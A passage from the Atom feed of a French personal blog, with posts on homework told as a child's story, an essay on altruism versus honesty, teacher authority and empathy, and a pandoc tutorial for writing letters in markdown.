&lt;p&gt;&lt;em&gt;Image extraite de Full metal Jacket de Stanley Kubrick. Le sergent Hartman était probablement moins drôle que le Sergent Sulfateur&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>C'est quoi des devoirs ?</title><link href="http://blog.namok.be/2016-05-12-cest-quoi-devoirs.html" rel="alternate"/><published>2016-05-12T00:00:00+02:00</published><updated>2016-05-12T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2016-05-12:/2016-05-12-cest-quoi-devoirs.html</id><summary type="html">C'est quoi des devoirs ?</summary><content type="html">&lt;p&gt;&lt;img alt="self_made_lemonade_by_rona_keller-d2qe8ak.jpg" src="/images/self_made_lemonade_by_rona_keller-d2qe8ak.jpg" title="self_made_lemonade_by_rona_keller-d2qe8ak.jpg, mai 2016"&gt;&lt;/p&gt;
&lt;p&gt;Jean-Kévin venait de terminer son calcul au tableau lorsque la maitresse nous a dit que la classe était terminée et que l&amp;rsquo;on pouvait rentrer à la maison. Je range mes affaires et je sors. Martin est dehors avant moi. On fait souvent la course tout les deux pour savoir qui sera le premier dehors mais le directeur n&amp;rsquo;aime pas que l&amp;rsquo;on se bouscule dans les couloirs. Tant pis ! Je prends mon vélo et fonce vers la maison. J&amp;rsquo;ai tant de choses à faire en rentrant de l&amp;rsquo;école.&lt;/p&gt;
&lt;p&gt;Il est quatre heures. Je le sais car mon estomac gargouille et je pourrai gouter dès que je rentre à la maison. Mon papa m&amp;rsquo;a dit que le ministre il voulait que l&amp;rsquo;on reste à l&amp;rsquo;école jusque cinq heures ! Il est fou le ministre car les gouters de la cantine sont trop petits. À la maison, je peux manger une grande tartine à la confiture après le fruit. Maman veut toujours que je mange un fruit avant ma tartine. Elle dit que c&amp;rsquo;est bon pour la santé. Chez Martin c&amp;rsquo;est plutôt biscuit. Je le sais car c&amp;rsquo;est ce que l&amp;rsquo;on a eu lorsque j&amp;rsquo;ai passé l&amp;rsquo;après-midi chez lui mercredi dernier.&lt;/p&gt;
&lt;p&gt;Le gouter emballé, je sors et je joue dehors. Je dois continuer la cabane que j&amp;rsquo;ai commencée depuis longtemps déjà. C&amp;rsquo;est pas facile alors parfois Owen vient m&amp;rsquo;aider. Je crie par dessus la haie et c&amp;rsquo;est la maman d&amp;rsquo;Owen qui me dit qu&amp;rsquo;il ne viendra pas parce qu&amp;rsquo;il a des devoirs à faire. C&amp;rsquo;est souvent comme ça le soir et Owen ne vient m&amp;rsquo;aider que le mercredi. Je ne sais pas ce que c&amp;rsquo;est &lt;em&gt;avoir des devoirs&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;— Tu sais ce que c&amp;rsquo;est des devoirs ? j&amp;rsquo;ai demandé à Julie.&lt;br&gt;
— C&amp;rsquo;est quand tu refais les mêmes exercices à la maison que ceux que tu as faits à l&amp;rsquo;école, a répondu Julie.&lt;br&gt;
— Mais ça sert à rien !&lt;/p&gt;
&lt;p&gt;Julie elle était dans une autre école l&amp;rsquo;année dernière alors des devoirs, elle en a eu beaucoup. Elle m&amp;rsquo;a raconté qu&amp;rsquo;elle avait parfois trois feuilles de calculs à faire après le goûter et que c&amp;rsquo;était les mêmes que ceux qu&amp;rsquo;elle avait fait avec la maitresse. Comme elle est pas forte en calcul, elle met beaucoup de temps pour les faire et elle ne peut pas aller jouer dehors. Alors quand sa maman rentre, son papa est très énervé que les devoirs ne soient pas encore finis bien que ça fait depuis qu&amp;rsquo;ils sont revenus de l&amp;rsquo;école que Julie est occupée. Parfois, il fait les calculs lui-même sinon son papa et sa maman se disputent. Julie recopie vite fait et n&amp;rsquo;a plus le temps de jouer parce que sa maman lui dit qu&amp;rsquo;elle doit aller au bain et mettre son pyjama et vider le lave-vaisselle et que c&amp;rsquo;est malin de mettre autant de temps pour ses calculs.&lt;/p&gt;
&lt;p&gt;Je dois aussi vider le lave-vaisselle à la maison parce que la maman de Julie a dit à ma maman que Julie le faisait. Ça aussi c&amp;rsquo;est malin ! Martin, il ne doit pas vider le lave-vaisselle mais il doit donner des graines aux poules et ramener les œufs. Même qu&amp;rsquo;une fois il en a ramené un à l&amp;rsquo;école et qu&amp;rsquo;il s&amp;rsquo;est cassé dans son cartable. La maitresse elle était pas contente.&lt;/p&gt;
&lt;p&gt;Pendant que Owen fait ses devoirs, j&amp;rsquo;ai presque terminé la cabane mais elle a été attaquée par les indiens. J&amp;rsquo;ai du faire tout seul le cow-boy et l&amp;rsquo;indien et c&amp;rsquo;est pas facile. J&amp;rsquo;aurais préféré que Owen joue avec moi. Quand maman m&amp;rsquo;a appelé, il était déjà l&amp;rsquo;heure d&amp;rsquo;aller à l&amp;rsquo;athlétisme par ce que l&amp;rsquo;on est jeudi. Le lundi, c&amp;rsquo;est piscine et le jeudi c&amp;rsquo;est athlétisme. Les autres jours, on peut jouer plus tard ou aider à la cuisine pour faire des petits gâteaux. Ceux que je préfère sont ceux au chocolat.&lt;/p&gt;
&lt;p&gt;Parfois maman vient me rechercher à l&amp;rsquo;athlétisme à pieds et on rentre à deux. J&amp;rsquo;ai déjà demandé pour la piscine mais c&amp;rsquo;est trop loin alors on rentre en voiture. C&amp;rsquo;est chouette de marcher à côté de maman parce que je peux lui raconter que Agatha était deuxième aujourd&amp;rsquo;hui au saut en longueur et que d&amp;rsquo;habitude elle est toujours première car c&amp;rsquo;est elle qui court le plus vite.&lt;/p&gt;
&lt;p&gt;Papa avait préparé le souper et c&amp;rsquo;était des boulettes avec de la sauce rouge. C&amp;rsquo;était super bon. Je me suis lavé et me suis mis en pyjama. Maman m&amp;rsquo;a raconté une histoire et puis on s&amp;rsquo;est rappelé les bons moments de la journée. Je lui ai raconté ce que l&amp;rsquo;on a appris à l&amp;rsquo;école même que Jean-Kévin s&amp;rsquo;est bien amusé en plantant les salades dans notre petit potager alors qu&amp;rsquo;il fait toujours le sot quand il est au tableau. J&amp;rsquo;ai raconté aussi que c&amp;rsquo;était pas gai de jouer tout seul dans la cabane et que je préfère quand Owen vient jouer. J&amp;rsquo;ai dit aussi que j&amp;rsquo;avais sauté très loin à l&amp;rsquo;athlétisme.&lt;/p&gt;
&lt;p&gt;Puis je me suis endormi en me disant que j&amp;rsquo;avais bien de la chance de ne pas avoir de devoirs.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Sur un air du Petit Nicolas. Crédit photo chez &lt;a href="http://deviantart.com/"&gt;DeviantArt&lt;/a&gt; par &lt;a href="http://rona-keller.deviantart.com/art/self-made-lemonade-165266300"&gt;Rona Keller&lt;/a&gt;. Avoir du temps en dehors de l&amp;rsquo;école.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Enfoirés d'altruistes (revisité)</title><link href="http://blog.namok.be/2016-04-29-enfoires-altruistes-revisite.html" rel="alternate"/><published>2016-04-29T00:00:00+02:00</published><updated>2016-04-29T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2016-04-29:/2016-04-29-enfoires-altruistes-revisite.html</id><summary type="html">Enfoirés d'altruistes (revisité)</summary><content type="html">&lt;p&gt;&lt;img alt="290H-croustillons-1400x.jpg" src="/images/290H-croustillons-1400x.jpg" title="290H-croustillons-1400x.jpg, avr. 2016"&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;J&amp;rsquo;ai lu &lt;a href="https://ploum.net/enfoires-daltruistes/"&gt;« Enfoirés d&amp;rsquo;altruistes »&lt;/a&gt; de Ploum.&lt;br&gt;
Bien que je sois d&amp;rsquo;accord sur le fond de son post, je n&amp;rsquo;ai pas aimé les mots employés. Je l&amp;rsquo;ai alors honteusement plagié en reformulant selon mon envie. Je ne pense pas qu&amp;rsquo;il m&amp;rsquo;en tienne rigueur.&lt;br&gt;
«Désaccord n&amp;rsquo;est pas désamour.»&lt;/em&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;En éternel optimiste, je suis confiant dans le fait que l’immense majorité de l’humanité est &lt;a href="2014-01-08-bienveillance.html"&gt;bienveillante&lt;/a&gt;. Nous ne souhaitons que le bonheur pour nous-mêmes et les autres.&lt;/p&gt;
&lt;p&gt;Mais alors, comment expliquer la multiplication des conflits, des guerres, des disputes et des violences ?&lt;/p&gt;
&lt;p&gt;Ma réponse est toute simple : parce que nous ne sommes pas assez &lt;strong&gt;vrai&lt;/strong&gt; et que nos différentes cultures nous poussent à « penser d’abord aux autres ». Nous sommes bêtement gentils. Altruistes si vous préférez.&lt;/p&gt;
&lt;p&gt;— Et alors ? me diriez vous avec un air étonné en vous tapant la tempe de l’index.&lt;/p&gt;
&lt;p&gt;Contrairement à ce que l’on pourrait croire, avoir des bonnes intentions pour les autres ne fait que paver l’enfer, pour paraphraser le proverbe. La solution ? &lt;a href="2015-03-23-cessez-etre-gentil-soyez-vrai.html"&gt;Cessons d&amp;rsquo;être gentils, soyons vrais !&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Petit exemple&lt;/h2&gt;
&lt;p&gt;Marie a offert une boite de pralines à Jean. Ils viennent de la manger ensemble. Il n’en reste plus qu’une dans la boite. Marie en a très envie. Mais elle veut avant tout faire plaisir à Jean.&lt;/p&gt;
&lt;p&gt;— Tiens, prends la dernière !&lt;/p&gt;
&lt;p&gt;Jean n’a pas du tout envie de la praline car il sait qu’elle est à l’alcool et il a horreur de ça. Cependant, il ne veut pas froisser Marie ni montrer que son refus est purement égoïste.&lt;/p&gt;
&lt;p&gt;— Non, merci, je te la laisse.&lt;br&gt;
— J’insiste, tu en as pris moins que moi !&lt;br&gt;
— Vraiment, sans façon !&lt;br&gt;
— Ce serait bête de la jeter !&lt;br&gt;
— Bon, d’accord…&lt;/p&gt;
&lt;p&gt;Moralité : Marie et Jean sont tous les deux frustrés mais sont persuadés de s’être frustrés pour le bien de l’autre. Ce qui a eu l’effet inverse !&lt;/p&gt;
&lt;p&gt;Peut-on généraliser cet exemple ?&lt;br&gt;
Oui, je le pense !&lt;/p&gt;
&lt;p&gt;La praline parait peut-être anecdotique mais remplaçons le chocolat par la morale et nous avons la source même des conflits et du fanatisme. Si un homme pense qu’il n’est pas sain que ses enfants soient exposés à de la pornographie, il va militer pour interdire la pornographie dans toutes la société afin de protéger tous les enfants ! Les opposants du mariage homosexuels militent pour, selon leur propre mot, le bien de tous et de la société. Ils sont donc essentiellement altruistes.&lt;/p&gt;
&lt;p&gt;Exemple extrême : les extrémistes religieux ne cherchent jamais qu’à sauver les âmes égarées, quitte à les torturer et les tuer un petit peu en passant. Mais c’est pour leur bien.&lt;/p&gt;
&lt;h2&gt;Une hypocrite bienveillance&lt;/h2&gt;
&lt;p&gt;Le problème d’une société altruiste, c’est qu’il devient virtuellement impossible d’exprimer son propre désir, celui-ci étant perçu comme égoïste. Il devient également impossible de signifier à une personne bien intentionnée que son intention n’a pas eu l’effet escompté.&lt;/p&gt;
&lt;p&gt;Il suffit pourtant de cesser d&amp;rsquo;être dans un altruisme hypocrite et d&amp;rsquo;être &lt;strong&gt;vrai&lt;/strong&gt;. La difficulté d&amp;rsquo;être vrai dans la société réside dans la formulation de nos sentiments et pas dans nos sentiments eux-même.&lt;/p&gt;
&lt;p&gt;Le discours de Marie et Jean pourrait être:&lt;/p&gt;
&lt;p&gt;— Non, merci, je te la laisse.&lt;br&gt;
— J’insiste, tu en as pris moins que moi !&lt;br&gt;
— Vraiment, sans façon !&lt;br&gt;
— Si tu es sûr, ça me fait plaisir d&amp;rsquo;en manger encore une. Merci.&lt;/p&gt;
&lt;p&gt;ou bien,&lt;/p&gt;
&lt;p&gt;— Non, merci, je te la laisse.&lt;br&gt;
— J’insiste, tu en as pris moins que moi !&lt;br&gt;
— Vraiment, sans façon !&lt;br&gt;
— Ce serait bête de la jeter !&lt;br&gt;
— Je n&amp;rsquo;aime pas les pralines à l&amp;rsquo;alcool. Je devrais vraiment me forcer pour la manger. On peut la proposer aux collègues.&lt;br&gt;
— Oh non, pas grave, je la mange !&lt;/p&gt;
&lt;p&gt;Être vrai n&amp;rsquo;amène pas à &lt;strong&gt;l&amp;rsquo;inévitable frustration&lt;/strong&gt;.&lt;/p&gt;
&lt;h2&gt;L&amp;rsquo;inévitable frustration&lt;/h2&gt;
&lt;p&gt;Les gentils, frustrés inconsciemment par le non-assouvissement de leurs désirs, en viennent à haïr les égoïstes qui n’ont rien demandé à personne.&lt;/p&gt;
&lt;p&gt;Sans le savoir, ils exigent que tout le monde fasse le même sacrifice qu’eux. Ou, au minimum, ils veulent être reconnus pour leur sacrifice. Si l&amp;rsquo;autre ne fait pas le même sacrifice qu&amp;rsquo;eux, il sera jugé.&lt;/p&gt;
&lt;p&gt;En résumé, les altruistes imposent leur vision du monde aux autres et attendent donc que les autres leurs rendent la pareille. Alors qu&amp;rsquo;être vrai occasionne des petites frustrations généralement bien comprises.&lt;/p&gt;
&lt;p&gt;Je peux accepter de donner la dernière praline — et être frustré de ne pas la manger — parce que je sais que ça fait plaisir à l&amp;rsquo;autre. Pas parce que je pense que ça lui fait plaisir.&lt;/p&gt;
&lt;h2&gt;Les conflits&lt;/h2&gt;
&lt;p&gt;Vous m&amp;rsquo;objecterez que si tout le monde dit ce qu&amp;rsquo;il pense — sans ambages — il y aurait encore plus de conflits car, forcément, les envies sont parfois incompatibles.&lt;/p&gt;
&lt;p&gt;Je pense au contraire que l&amp;rsquo;expression de ses sentiments, de ses attentes et de ses limites de manière claire et négociable est la bonne manière d&amp;rsquo;éviter les conflits.&lt;/p&gt;
&lt;p&gt;Être vrai améliore la communication, la transparence. Il est plus facile de faire confiance à quelqu&amp;rsquo;un qui me dira ce qu&amp;rsquo;il pense plutôt que ce qu&amp;rsquo;il croit que je veux entendre. Si deux personnes ne sont pas « raccord », leur frustration sera verbalisée et rationalisée.&lt;/p&gt;
&lt;p&gt;« J’avais envie de la dernière praline mais il est juste que Marie ait pu la manger. »&lt;/p&gt;
&lt;p&gt;Être vrai et franc entraine donc une diminution des incompréhensions. Les conflits restants sont, au moins, clairement identifiés et négociables.&lt;/p&gt;
&lt;h2&gt;L&amp;rsquo;harmonie&lt;/h2&gt;
&lt;p&gt;La raison essentielle pour laquelle j&amp;rsquo;essaie d&amp;rsquo;être vrai et non gentil (altruiste) est l&amp;rsquo;harmonie.&lt;/p&gt;
&lt;p&gt;Comment voulez-vous apporter de l’harmonie au monde si vous n’êtes pas en harmonie avec vous-mêmes ? Comment voulez-vous écouter les autres si vous n’êtes pas capable de vous écouter ? Comment satisfaire les envies de ceux que vous aimez si vous êtes vous même frustrés ?&lt;/p&gt;
&lt;p&gt;Être vrai m&amp;rsquo;ouvre aux autres.&lt;/p&gt;
&lt;p&gt;Vous voulez changer le monde ?&lt;br&gt;
Rendre les autres heureux ?&lt;br&gt;
Apporter du bonheur à vos proches ?&lt;/p&gt;
&lt;p&gt;&lt;a href="2015-03-23-cessez-etre-gentil-soyez-vrai.html"&gt;Cessez d&amp;rsquo;être gentils, soyez vrais !&lt;/a&gt;&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;&lt;a href="https://ploum.net/enfoires-daltruistes/"&gt;L&amp;rsquo;article original de Ploum « Enfoirés d&amp;rsquo;altruistes »&lt;/a&gt;. Crédit photo chez &lt;a href="http://www.gratisography.com/"&gt;Gratisography&lt;/a&gt; par Ryan McGuire. Être vrai, c&amp;rsquo;est ne pas hésiter à manger des croustillons parce que c&amp;rsquo;est bon.&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>L'autorité et l'empathie des profs (cools)</title><link href="http://blog.namok.be/2016-04-22-autorite-empathie-profs-cools.html" rel="alternate"/><published>2016-04-22T00:00:00+02:00</published><updated>2016-04-22T00:00:00+02:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2016-04-22:/2016-04-22-autorite-empathie-profs-cools.html</id><summary type="html">Les 4 formes d'autorité.</summary><content type="html">&lt;p&gt;&lt;img alt="unsplash-dindons.jpg" src="/images/unsplash-dindons.jpg" title="unsplash-dindons.jpg, avr. 2016"&gt;&lt;/p&gt;
&lt;p&gt;— C&amp;rsquo;est un prof cool !&lt;/p&gt;
&lt;p&gt;Tout ceux qui font le même métier que moi ont toujours rêvé entendre cette phrase dite de l&amp;rsquo;un de ses élèves au détour d&amp;rsquo;un couloir ou rapportée par un collègue. Ça n&amp;rsquo;arrive malheureusement (quasi) jamais et nous devons nous faire notre opinion sur base de notre seul ressenti. Notre ressenti qui est très lié à notre confiance en soi.&lt;/p&gt;
&lt;p&gt;Il est plus facile d&amp;rsquo;être &lt;em&gt;cool&lt;/em&gt; dans sa classe si l&amp;rsquo;on dégage une certaine &lt;strong&gt;autorité&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;Autorité.&lt;/p&gt;
&lt;p&gt;Le mot est lâché et c&amp;rsquo;est celui qui revient le plus souvent lorsque l&amp;rsquo;on parle d&amp;rsquo;ambiance dans la classe. D&amp;rsquo;accord. Mais quelle autorité ?&lt;/p&gt;
&lt;p&gt;Sûrement pas &lt;strong&gt;l&amp;rsquo;autorité basée sur le pouvoir&lt;/strong&gt;. Cette autorité là, je l&amp;rsquo;exècre. Je fais ce que tu me demandes parce que tu as le pouvoir de m&amp;rsquo;y contraindre. Par la force, la menace, la sanction, parce que tu évalues…. Cette autorité là n&amp;rsquo;induit pas le respect de l&amp;rsquo;autre en tant qu&amp;rsquo;humain, elle impose un respect par la crainte.&lt;/p&gt;
&lt;p&gt;D&amp;rsquo;après Thomas Gordon, il existe quatre formes d&amp;rsquo;autorité. Les trois autres sont plus indiquées à être développées en classe ou dans tout groupe.&lt;/p&gt;
&lt;p&gt;Quand j&amp;rsquo;entre dans une classe et que je ne connais pas encore le groupe. Au début. Avant que j&amp;rsquo;ouvre la bouche, c&amp;rsquo;est &lt;strong&gt;l&amp;rsquo;autorité basée sur la position&lt;/strong&gt; qui agit. C&amp;rsquo;est parce que je suis « le prof » que les étudiants me prêtent attention. Je ne dois rien faire. C&amp;rsquo;est mon statut qui fait l&amp;rsquo;autorité.&lt;/p&gt;
&lt;p&gt;Cette autorité — pour peu qu&amp;rsquo;elle fonctionne (encore) — ne doit être que temporaire. Le temps de prendre contact avec le groupe. Pour être un &lt;em&gt;prof cooooool&lt;/em&gt;, il faut accompagner ce respect de la position de &lt;strong&gt;l&amp;rsquo;autorité basée sur les ententes in·formelles&lt;/strong&gt; et surtout de &lt;strong&gt;l&amp;rsquo;autorité basée sur l&amp;rsquo;expérience&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;autorité basée sur les ententes in·formelles provient des règles tacites ou explicites qui régissent la vie de l&amp;rsquo;école et de la classe. Les premières règles sont un sous-ensemble du règlement qui n&amp;rsquo;ont de sens que si elles ont été expliquées et acceptées (mais c&amp;rsquo;est un autre débat). Les autres règles s&amp;rsquo;énoncent quand le besoin s&amp;rsquo;en fait sentir. C&amp;rsquo;est simplement du « vivre ensemble ». Tout ça peut se faire avec bienveillance.&lt;/p&gt;
&lt;p&gt;— Une arrivée tardive interrompt mon raisonnement et me fait perdre le fil de ce que je veux dire. Ça m&amp;rsquo;ennuie de chercher mes mots. Je préfère que l&amp;rsquo;on arrive à l&amp;rsquo;heure ou que l&amp;rsquo;on attende l&amp;rsquo;inter-cours.&lt;/p&gt;
&lt;p&gt;— C&amp;rsquo;est plus facile pour moi de présenter cette matière lorsque tout le monde arrive à l&amp;rsquo;heure.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;autorité basée sur l&amp;rsquo;expérience apporte de la reconnaissance de la part des étudiants. S&amp;rsquo;ils peuvent se dire que &lt;em&gt;le prof gère&lt;/em&gt; alors c&amp;rsquo;est gagné. La sagesse, le savoir, les compétences techniques, relationnelles, pédagogiques amènent cette autorité. Il ne s&amp;rsquo;agit pas d&amp;rsquo;être le &lt;em&gt;maitre&lt;/em&gt; mais de connaitre sa matière et ses outils en toute modestie.&lt;/p&gt;
&lt;p&gt;Mais ça ne suffit pas.&lt;br&gt;
C&amp;rsquo;est l&amp;rsquo;&lt;strong&gt;empathie&lt;/strong&gt; qui fait que l&amp;rsquo;on apprécie son prof.&lt;br&gt;
Et apprécier son prof favorise l&amp;rsquo;apprentissage.&lt;/p&gt;
&lt;p&gt;L&amp;rsquo;empathie.&lt;/p&gt;
&lt;p&gt;La compréhensions des sentiments, des croyances et des émotions de l&amp;rsquo;élève nous rappelle que nous sommes des êtres vivants. Nous avons tous notre part de sensibilité. Dans la classe. Dans n&amp;rsquo;importe quel groupe. Si j&amp;rsquo;écoute les sentiments de mes étudiants, je les considère comme des humains. Ils peuvent alors me considérer comme un humain également avec ses forces et ses faiblesses. Je peux exprimer mes sentiments, écouter les leurs et une relation se crée. Une relation qui tente à être bienveillante et non hiérarchique de &lt;em&gt;le-prof-qui-sait-tout&lt;/em&gt; et &lt;em&gt;l-étudiant-qui-ne-sait-rien&lt;/em&gt;. Cette relation dans le groupe tient une place importante dans les processus d&amp;rsquo;apprentissage. Si une (quasi) absence de soutien émotionnel induit une attitude passive, l&amp;rsquo;empathie favorise la motivation et la compréhension.&lt;/p&gt;
&lt;p&gt;C&amp;rsquo;est &lt;em&gt;win win&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt; &lt;/p&gt;
&lt;p&gt;Empathie. Autorité basée sur l&amp;rsquo;expérience. Modestie. Bienveillance.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
&lt;p&gt;&lt;em&gt;Crédit photo chez &lt;a href="http://unsplash.com/"&gt;unsplash&lt;/a&gt; par &lt;a href="https://unsplash.com/photos/ysHUIEx3nis"&gt;Mikkel Bergmann&lt;/a&gt;. Ces dindons sont plus que probablement à l&amp;rsquo;écoute des sentiments les uns les autres. On pourrait intituler la photo: « Dans la salle des profs ».&lt;/em&gt;&lt;/p&gt;</content></entry><entry><title>Utiliser pandoc pour écrire une lettre en markdown</title><link href="http://blog.namok.be/2016-03-25-pandoc-lettre-markdown.html" rel="alternate"/><published>2016-03-25T00:00:00+01:00</published><updated>2016-03-25T00:00:00+01:00</updated><author><name>pit</name></author><id>tag:blog.namok.be,2016-03-25:/2016-03-25-pandoc-lettre-markdown.html</id><summary type="html">Utiliser pandoc pour écrire une lettre en markdown</summary><content type="html">&lt;p&gt;&lt;img alt="letter-pit.jpg" src="/images//letter-pit.jpg" title="letter-pit.jpg, mar. 2016"&gt;&lt;/p&gt;
&lt;p&gt;Pour écrire une lettre, on peut utiliser un &lt;strong&gt;traitement de texte&lt;/strong&gt; si l&amp;rsquo;on veut. Par contre, si l&amp;rsquo;on a l&amp;rsquo;habitude d&amp;rsquo;écrire avec un &lt;strong&gt;éditeur de texte&lt;/strong&gt;, que l&amp;rsquo;on aime écrire en &lt;a href="2013-11-19-billet-markdown.html"&gt;&lt;em&gt;markdown&lt;/em&gt;&lt;/a&gt; et que &lt;a href="http://pandoc.org/"&gt;&lt;code&gt;pandoc&lt;/code&gt;&lt;/a&gt; est déjà installé sur la machine, voici une alternative.&lt;/p&gt;
&lt;p&gt;Je veux pouvoir écrire une lettre très rapidement en ouvrant un éditeur de texte et en y mettant quelque chose à l&amp;rsquo;allure suivante:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="nt"&gt;author&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;François Pignon&lt;/span&gt;
&lt;span class="nt"&gt;from&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Passerelle des champions du monde, 1&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;1000 Bruxelles&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;fpignon@example.org&lt;/span&gt;
&lt;span class="nt"&gt;to&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Éditions ACME&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Pierre Brochan&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Ruelle incroyable, 112&lt;/span&gt;
&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p p-Indicator"&gt;-&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;1000 Bien bien loin&lt;/span&gt;
&lt;span class="nt"&gt;object&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;L&amp;#39;objet de ma lettre&lt;/span&gt;
&lt;span class="nt"&gt;vref&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Vos références&lt;/span&gt;
&lt;span class="nt"&gt;mref&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Mes références&lt;/span&gt;
&lt;span class="nt"&gt;opening&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Monsieur,&lt;/span&gt;
&lt;span class="nt"&gt;closing&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="l l-Scalar l-Scalar-Plain"&gt;Salutem dicit&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;L&amp;rsquo;incroyable contenu de ma lettre.&lt;/p&gt;
&lt;p&gt;Les parties de ma lettre sont clairement identifiées (et facultatives). Elles vont donc très vite à remplir. Le corps de ma lettre suit et se rédige en &lt;em&gt;markdown&lt;/em&gt; simple. Une fois que tout est mis en place, c&amp;rsquo;est très rapide.&lt;/p&gt;
&lt;p&gt;Pour générer le texte (&lt;em&gt;markdown&lt;/em&gt; → LaTeX → PDF), un petit appel à &lt;code&gt;pandoc&lt;/code&gt; et c&amp;rsquo;est fait:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;pandoc&lt;span class="w"&gt; &lt;/span&gt;lettre.md&lt;span class="w"&gt; &lt;/span&gt;--template&lt;span class="w"&gt; &lt;/span&gt;template/lettre.tex&lt;span class="w"&gt; &lt;/span&gt;-o&lt;span class="w"&gt; &lt;/span&gt;lettre.pdf
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Le fichier &lt;code&gt;lettre.md&lt;/code&gt; est la source de la lettre, le fichier &lt;code&gt;lettre.pdf&lt;/code&gt; est le document final à imprimer / envoyer… et le fichier &lt;code&gt;lettre.tex&lt;/code&gt; est le template à utiliser. C&amp;rsquo;est lui qui demande un peu de mise en place. Cette mise en place ne doit être faite qu&amp;rsquo;une seule fois, ensuite, il est inutile de toucher à ce fichier. Vous pouvez le laisser dans un coin de votre disque (ou chez Claude).&lt;/p&gt;
&lt;p&gt;Bref, tout se trouve sur &lt;a href="http://github.com/Pinkilla/pandoc-pitletter"&gt;http://github.com/Pinkilla/pandoc-pitletter&lt;/a&gt;. &lt;a href="https://github.com/aaronwolen/pandoc-letter"&gt;D&amp;rsquo;autres template&lt;/a&gt; se trouvent &lt;a href="https://github.com/mrzool/letter-boilerplate"&gt;facilement&lt;/a&gt; mais je préfèrais avoir « le mien ». Vous pouvez l&amp;rsquo;adapter à vos goûts et &lt;a href="http://blog.hartleygroup.org/2015/08/01/a-pandoc-template-for-letterhead/"&gt;y ajouter un &lt;em&gt;letterhead&lt;/em&gt; si vous voulez&lt;/a&gt;, un logo de votre entreprise.&lt;/p&gt;
&lt;p&gt;&lt;br /&gt;&lt;/p&gt;
